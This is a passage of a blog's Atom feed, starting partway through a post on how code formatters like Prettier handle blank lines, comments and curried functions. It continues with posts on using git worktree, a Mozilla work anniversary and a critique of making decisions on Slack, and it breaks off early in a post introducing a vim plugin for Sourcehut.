&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Most users will naturally want to keep the blank line between the two blocks and
no one will like tools that produce the following output:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to keep logical blocks separated, we need extra logic to determine
whether, after each statement, there is one or more blank lines. If that’s the
case, we can introduce a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HARDLINE&lt;/code&gt; in the IR, which will also collapse multiple
blank lines into a single one (&lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/js-printer.js#L161-L163&quot;&gt;here&lt;/a&gt; is how I implemented it for
JS).&lt;/p&gt;

&lt;p&gt;Here is a quote from the Prettier docs:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;It turns out that empty lines are very hard to automatically generate. The
approach that Prettier takes is to preserve empty lines the way they were in
the original source code. There are two additional rules:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;Prettier collapses multiple blank lines into a single blank line.&lt;/li&gt;
    &lt;li&gt;Empty lines at the start and end of blocks (and whole files) are removed.
(Files always end with a single newline, though.)&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Depending on the programming language or parser (more on that in the next
section), this might not be too difficult. As for comments, this is a completely
different story!&lt;/p&gt;

&lt;h3 id=&quot;comments&quot;&gt;Comments&lt;/h3&gt;

&lt;p&gt;First, most parsers aren’t lossless. ASTs are by definition, well… &lt;em&gt;abstract&lt;/em&gt;.
Comments are usually not included in ASTs and when they are present, they aren’t
attached to nodes. This is a problem because where should comments be placed?&lt;/p&gt;

&lt;p&gt;We can try to reattach comments to AST nodes if the parser provides locations or
we could use a lossless parser like &lt;a href=&quot;https://github.com/rust-analyzer/rowan&quot;&gt;rowan&lt;/a&gt;.  Prettier provides a framework to
handle comments and it is a lot better than what I implemented to &lt;a href=&quot;https://github.com/willdurand/demo-pretty-printer/blob/dd4d437893513264b257568d8978df67810736e0/js-ast.js#L16-L26&quot;&gt;reattach
comments&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here is another quote from the Prettier docs:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;When it comes to the content of comments, Prettier can’t do much really. […]&lt;/p&gt;

  &lt;p&gt;Then there’s the question of where to put the comments. Turns out this is a
really difficult problem. Prettier tries its best to keep your comments
roughly where they were, but it’s no easy task because comments can be placed
almost anywhere.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;idiomatic-patterns&quot;&gt;Idiomatic patterns&lt;/h3&gt;

&lt;p&gt;The third constraint that we have when building a code formatter is to fine-tune
the pretty output to respect some popular patterns. So far, we’ve seen how to
render the same content depending on the print width but we could go further and
have specific layouts depending on the code itself.&lt;/p&gt;

&lt;p&gt;Let’s take an example with curried arrow functions (see &lt;a href=&quot;https://github.com/prettier/prettier/commit/046ffb11f980269937b2e58a30567efdcdbf230c&quot;&gt;this Prettier
patch&lt;/a&gt;):&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// This is the input, which looks quite good already.&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;currying&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With some trivial modifications to my implementation (required because the JS
formatter in my demo project does not support &lt;em&gt;all&lt;/em&gt; JS syntaxes), this is how it
would be pretty-printed:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;currying&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
          &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Prettier used to print the input above like this:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;currying&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;argument5&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argument6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In both cases, this isn’t ideal. We really want to keep the input as output
because it is more readable in this case. While Wadler’s IR and renderer will
happily pretty-print any content, fine tuning the translation layer is the
complicated part.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I know a lot more about code formatters than before. It is still quite limited
to one popular algorithm but I dug enough to understand some of the challenges
when it comes to pretty-printing content. This is a hard problem.&lt;/p&gt;

&lt;p&gt;While implementing Wadler’s algorithm isn’t &lt;em&gt;that&lt;/em&gt; complicated (and we can find
many implementations), correctly handling comments and empty lines are crucial
and there isn’t a popular algorithm for that. Prettier is a great framework to
build solid code formatters and it isn’t limited to JavaScript: there are
plugins for many languages.&lt;/p&gt;

&lt;p&gt;It sounds like I felt in love with Prettier or something. No, but knowing how it
really works and which problems it actually solves is super interesting and
mind-blowing to me.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>An introduction to `git worktree`</title>
        <link href="https://williamdurand.fr/2021/05/05/an-introduction-to-git-worktree/"/>
        <updated>2021-05-05T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/05/05/an-introduction-to-git-worktree</id>
        <content type="html">&lt;p&gt;This is a quick introduction to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git&lt;/code&gt; feature I use quite often because I find
it better than simple branches in some cases.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree&lt;/code&gt; can help &lt;a href=&quot;https://git-scm.com/docs/git-worktree&quot;&gt;“manage multiple working trees attached to the same
repository”&lt;/a&gt;. Instead of having different branches within the same
folder, you have distinct folders (working trees) bound to the same git
repository. In other words, this feature allows you to work on different
branches at the same time.&lt;/p&gt;

&lt;p&gt;Why do I like this feature? Let’s find out!&lt;/p&gt;

&lt;h2 id=&quot;spikes-and-code-reviews&quot;&gt;Spikes and code reviews&lt;/h2&gt;

&lt;p&gt;I do code reviews every day and I like to &lt;a href=&quot;/2020/01/27/suggested-changes-in-code-reviews/&quot;&gt;checkout the code
locally&lt;/a&gt; pretty much every time. When I am working on a &lt;a href=&quot;https://en.wikipedia.org/wiki/Spike_(software_development)&quot;&gt;spike&lt;/a&gt;
for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PROJECT&lt;/code&gt; (in parallel), which usually takes several days, I use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git
worktree&lt;/code&gt; to avoid “WIP” (Work In Progress) commits or stashes. My current spike
lives in a different folder than the main local repository for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PROJECT&lt;/code&gt;, and I
can use the latter to checkout Pull Requests and do the reviews.&lt;/p&gt;

&lt;p&gt;One might think that I could use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git stash&lt;/code&gt; or a different branch and do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git
commit -am &quot;wip&quot;&lt;/code&gt;. I’ve done that. I even have &lt;a href=&quot;https://github.com/willdurand/dotfiles/tree/17d9b2643abcbac07347270589e142b0fe944172/git/commands&quot;&gt;custom git
commands&lt;/a&gt; and &lt;a href=&quot;https://github.com/willdurand/dotfiles/blob/17d9b2643abcbac07347270589e142b0fe944172/git/gitconfig#L52&quot;&gt;git aliases&lt;/a&gt; to simplify repetitive
tasks. Yet, it’s far from ideal: I have to commit everything to “save” the state
of my spike, make sure that I don’t have a local (git-ignored) configuration
when I switch to a different branch, update the project’s dependencies, and,
when I’m done with the review, “undo” everything to restore the state of the
spike. It isn’t very efficient.&lt;/p&gt;

&lt;h2 id=&quot;benchmarks-and-other-comparisons&quot;&gt;Benchmarks and other comparisons&lt;/h2&gt;

&lt;p&gt;This isn’t a very common use case but I sometimes need to run the same
application with two different configurations and check the differences.&lt;/p&gt;

&lt;p&gt;In the past, I did that sequentially and it was error-prone because I couldn’t
check the differences with the two application flavors running side-by-side. In
order to achieve that, I had to clone the same repository a second time.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree&lt;/code&gt; gives the same experience except that there is no need to clone
the repository again. The “copies” (= working trees) created with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree&lt;/code&gt;
point to the git history and configuration of the main repository. Indeed, there
is no &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git/&lt;/code&gt; folder in a “copy” created with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree&lt;/code&gt;. Instead, there is
a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.git&lt;/code&gt; file with the following content:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gitdir: /path/to/main/git/repo/.git/worktrees/some-worktree
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Each working tree is a git repository and has access to the full git history,
remotes, etc. but everything is stored in the main repository. This is the
reason why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git branch&lt;/code&gt; shows the local branches as well as the different
&lt;em&gt;worktrees&lt;/em&gt; for instance:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git branch
  some-local-branch-in-main-repo
+ some-worktree
* main
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Like any other git repository, it’s possible to create new branches, push
to/pull from a remote, etc. in a working tree created with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;how-to-use-git-worktree&quot;&gt;How to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree&lt;/code&gt;?&lt;/h2&gt;

&lt;p&gt;I don’t use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree&lt;/code&gt; on all projects. For those where it will likely be
used, I have my own convention. I clone the main repository in a folder whose
name is the project’s name:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ tree -L 1 ~/projects/mozilla/addons-frontend
/Users/william/projects/mozilla/addons-frontend
└── addons-frontend
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You might want to name the main repository folder &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;master&lt;/code&gt; instead. I
reuse the project’s name because &lt;a href=&quot;https://github.com/willdurand/dotfiles/blob/17d9b2643abcbac07347270589e142b0fe944172/tmux/tmux.conf#L42&quot;&gt;my tmux config automatically sets the window
names based on the current paths&lt;/a&gt;. It wouldn’t be very useful to have
several “main” windows…&lt;/p&gt;

&lt;p&gt;From the main repository, I can create a new working tree with the following
command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git worktree add ../some-worktree
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will result in a new folder created next to the “main” one:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ tree -L 1 ~/projects/mozilla/addons-frontend
/Users/william/projects/mozilla/addons-frontend
├── addons-frontend
└── some-worktree
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As a side note, my tmux session with the two working trees opened (+ another
project) would look like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;moz ⧉ 1:addons-frontend   2:some-worktree   3:other-project
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are other commands to manage &lt;em&gt;worktrees&lt;/em&gt; like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree remove&lt;/code&gt; and
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git worktree prune&lt;/code&gt;. I let interested readers browse the &lt;a href=&quot;https://git-scm.com/docs/git-worktree&quot;&gt;git
documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Hopefully this introduction has been useful to you. I’d be happy to discuss with
you about this git feature or how you approach some of the use cases described
above in a different way, &lt;em&gt;ciao!&lt;/em&gt;&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Moziversary #3</title>
        <link href="https://williamdurand.fr/2021/05/01/moziversary-3/"/>
        <updated>2021-05-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/05/01/moziversary-3</id>
        <content type="html">&lt;p&gt;&lt;em&gt;Three years at Mozilla, yay! 🎉 It’s my longest time at the same company, and I
am now a &lt;a href=&quot;/2021/02/26/i-got-a-promotion/&quot;&gt;Staff Software Engineer&lt;/a&gt;. What a ride!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A year ago, &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;I wrote that I was starting to be more involved in
Firefox&lt;/a&gt;. I worked on very diverse projects in 2020 but one of
them was super fun: we revamped the AMO statistics and it required backend
changes on AMO, some ETL/BigQuery work, and new data collection in Firefox. I
worked on all those components and learned a lot of stuff along the way. I also
[deleted a lot of code]&lt;sup id=&quot;fnref:deleted-code&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:deleted-code&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;, [changed a lot of code]&lt;sup id=&quot;fnref:black&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:black&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;,
contributed to Firefox for Android (Fenix), created new libraries to support the
work of my team, continued to work on security stuff, and even wrote some PHP
lately.&lt;/p&gt;

&lt;p&gt;My role is constantly evolving. By knowing every bit of the AMO platform and
expanding my skill sets with contributions in Firefox, I am hoping to have a
wider vision of add-ons in general, from a technical perspective. I am doing my
best to bridge the gap between the AMO and WebExtensions engineering teams,
which will be welcomed as more Product requirements need changes in both
contexts.&lt;/p&gt;

&lt;p&gt;Now, thinking about the last 12 months, there are areas that I would like to
improve.&lt;/p&gt;

&lt;p&gt;I mentioned it above, I work on very different projects and components.  It’s
exciting because I am never bored, I can help many folks and I learn a lot but
context switching is hard. My tmux session has ~10 windows open all the time
nowadays (one per project) so I had to adapt. I wrote a bunch of scripts to
automate some maintenance tasks, I started to dedicate specific days to certain
projects, and I learned to be more strict about priorities. I still have some
work to do on that front, though.&lt;/p&gt;

&lt;p&gt;I noticed that all these different projects kinda “forced” me to “move fast”,
and too fast actually. It didn’t negatively impact anything (yet) but I’ve
definitely been reminded that the answer to my question was in the GitHub issue
that I had just read. Hence I am working on taking more time to think… and
I’ll also take the opportunity to refine my communication skills.&lt;/p&gt;

&lt;p&gt;Last, I am extremely happy at Mozilla and I am super lucky to be part of the
amazing Add-ons team. I would like to thank everyone in my team as well as all
the folks I worked with so far! I wouldn’t be where I am today without you ❤️&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:deleted-code&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a tweet from me. I tweeted a
screenshot with diff stats, showing a lot of code removed after I removed a
lot of code in a project. &lt;a href=&quot;#fnref:deleted-code&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:black&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a tweet from me. I tweeted a screenshot with
diff stats, showing a lot of changed code after having applied a python code
formatter on a large codebase. &lt;a href=&quot;#fnref:black&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Yes, it happened on Slack</title>
        <link href="https://williamdurand.fr/2021/04/29/yes-it-happened-on-slack/"/>
        <updated>2021-04-29T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/04/29/yes-it-happened-on-slack</id>
        <content type="html">&lt;p&gt;This is one of those moments worth calling out explicitly.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Yes, it happened on Slack&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here, &lt;em&gt;it&lt;/em&gt; refers to a decision, an agreement, or some important results. All of
these should NOT have been left on Slack alone. At the very least, the Slack
threads or some key messages should have been copied into some more open and
permanent places like Bugzilla or GitHub (in public issues).&lt;/p&gt;

&lt;p&gt;It won’t come as a surprise; I don’t like Slack (but it wasn’t always like
that). There is a reason for that: it is &lt;strong&gt;the antithesis of working in the
open&lt;/strong&gt;. What happens in Slack stays in Slack. What stays in Slack is basically
lost forever. “Chat apps” aren’t the right tools for decision-making, especially
when working with external contributors and distributed teams across the globe.&lt;/p&gt;

&lt;p&gt;I understand the need for synchronous communication, but (1) we have Matrix at
Mozilla, which is open at least, and (2) we should not use Slack for
asynchronous communication. Let’s just use it for quick feedback, instant chats
about sensitive topics, GIFs, and emojis on every other message. Jokes aside,
it’s easier to restrict some content than to publish private content more
broadly.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.mozilla.org/Working_open&quot;&gt;Working in the open&lt;/a&gt; is what makes Firefox and other Mozilla
products so special: anyone can contribute. Each individual can find information
about a decision on GitHub or Bugzilla. I personally dig into old GitHub issues
at least once a week, usually with a question in mind like “why did we do
that?”. Back then, everything was either relatively well documented on
GitHub/Bugzilla or captured in broadly accessible Google Docs, which makes it
possible to answer my question. Nowadays, it’s not uncommon for me to “request
access” to some docs I have to read for my own work…&lt;/p&gt;

&lt;p&gt;We should continue to use open and accessible platforms to capture not only the
decisions but also the “why” (context), and keep them available for the future.
Not only will this be useful to us, but it will also allow our contributors to
participate even more and feel more “in the loop”.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: this article reflects my experience within my team at Mozilla, but the
views expressed may be relevant beyond that context.&lt;/em&gt;&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Introducing srht.vim</title>
        <link href="https://williamdurand.fr/2021/03/01/introducing-srht-vim/"/>
        <updated>2021-03-01T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/03/01/introducing-srht-vim</id>
        <content type="html">&lt;p&gt;&lt;a href=&quot;https://sourcehut.org/&quot;&gt;Sourcehut&lt;/a&gt; is a free and open source platform to develop software. It
provides different services like git hosting, issue tracking, continuous
integration and mailing-lists. This platform also offers secondary services such
as a “pastebin-like” tool named &lt;em&gt;paste.sr.ht&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;As a long-time and frequent GitHub user, I use two essential vim plugins to
collaborate:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/tpope/vim-fugitive&quot;&gt;vim-fugitive&lt;/a&gt;: I use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:GBrowse&lt;/code&gt; command to share a code snippet
or an entire file, usually during a discussion (in combination with
